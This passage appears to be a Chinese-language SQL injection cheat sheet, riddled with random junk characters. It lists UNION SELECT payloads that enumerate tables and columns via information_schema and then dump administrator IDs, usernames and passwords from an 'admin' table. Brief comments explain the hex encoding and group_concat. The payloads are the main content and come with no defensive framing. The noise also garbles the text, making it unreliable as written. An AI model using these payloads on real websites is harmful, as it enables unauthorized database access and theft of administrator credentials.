* O! x3 d" l5 f7 ~###################################################################### $ K. W' Q! R5 d0 } n% W& G: `( @1 w+ G" c! f
0x002 获取表名/ P' L, z& ?% r U8 {5 }$ K+ x
7 W; T9 g/ D4 l! _8 e; S3 p
union select 1,2,group_concat(table_name),4,5,6,7,8,9 from information_schema.tables where table_schema=0x67617264656e /*3 q; M q/ O4 b3 R5 O# w
) l( P8 v% b, ?% ? $ k j& {% G! e" A& |
. C5 k, N/ s2 p; a
/* ; {' b$ {3 f( l/ ^5 o: E1 `( Z8 U( q: g
0x67617264656e 为当前数据库名0 O3 m1 N* W- i! L, B- i
2 N; E5 }! M4 E& v7 L- Y
group_concat(table_name) 使用group_concat函数 一步获得该库所有表名6 u F5 _# q, U2 n# v
: K9 W8 ~. k- b
*/ 5 ]% `, I9 |7 w+ ]6 i. S* p4 [. b+ I* Q
######################################################################3 ?9 ]8 [ T9 s/ g: N. Q
! {2 F. Z8 v. V8 n& q" e % J) I* j! f |1 l5 ?6 U
, Y1 h y1 [9 h- @: x
0x003 获取字段 7 m5 C8 V% b. h A8 M. f, q# O6 u( H9 T" b- t
union select 1,2,group_concat(column_name),4,5,6,7,8,9 from information_schema.columns where table_name=0x61646d696e and table_schema=0x67617264656e limit 1 /*, |4 T, x1 f# l6 O, K+ p7 Y" @7 q
1 ]/ P2 N& {" g. u4 n8 w5 h
/* 2 ?2 n' o# v+ s$ Y$ ~) a6 { % i, ^- O; a" b+ q) e! c- h6 r+ pgroup_concat(column_name) 同样是 一口气 获得该表(0x61646d696e)所有字段) ]7 G9 W7 O' r7 c. d; t3 ^, m9 V
* E) S, r( K8 B# Z( Q( @' p0x61646d696e ->选择一个表7 x _0 J/ U6 O! |' t9 V# U
3 L6 V+ @' V8 M6 Q \& ?
0x67617264656e ->数据库名* m2 O) m2 m# L1 p8 e
$ h* L9 t5 h) b; B
*/ 5 e' E* q5 R: }% N# ^& v o6 N9 {- g. W, U0 Y( x
##################################################################### $ P1 ?. f& Q. c9 ?6 s+ o 5 y7 v3 c' A, e% H" n. C , X% I# a j) c8 @3 h9 _! P2 T7 a' A& ^4 R
0x004 获取数据1 g/ u, b7 A. i# a
6 S, b; ~% {1 w7 H1 x* Bunion select 1,2,3" W- u! R4 P) @7 v! w- p# Q. l
,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin 4 K# T8 U! y) z) ?4 s , Q. s; Z2 ~2 V5 d) g6 j. Junion select 1,group_concat(id),group_concat(adname),4,5,group_concat(adpassword),6,7,8 from admin7 H( M$ [0 @8 z% i, R' v
, ?' B" T. a' o. f- K
, Z8 O5 a3 a) U3 ~& G& a
" x- v4 C2 q! s8 y; Q5 q* I/* 8 ]! O) Y# v' i' d" T8 D ~1 f' y( R8 n6 g; [% R0x3c62723e 换行符号HEX编码 & J/ o7 G3 }1 F) M9 o/ v8 F% G6 \* x- C) `0 H1 y \
group_concat 同时获得该字段所有数据0 @2 L9 a( j4 B4 c
9 Z* u; ? a" j
*/$ r6 R* L. \* {# H: p' N- r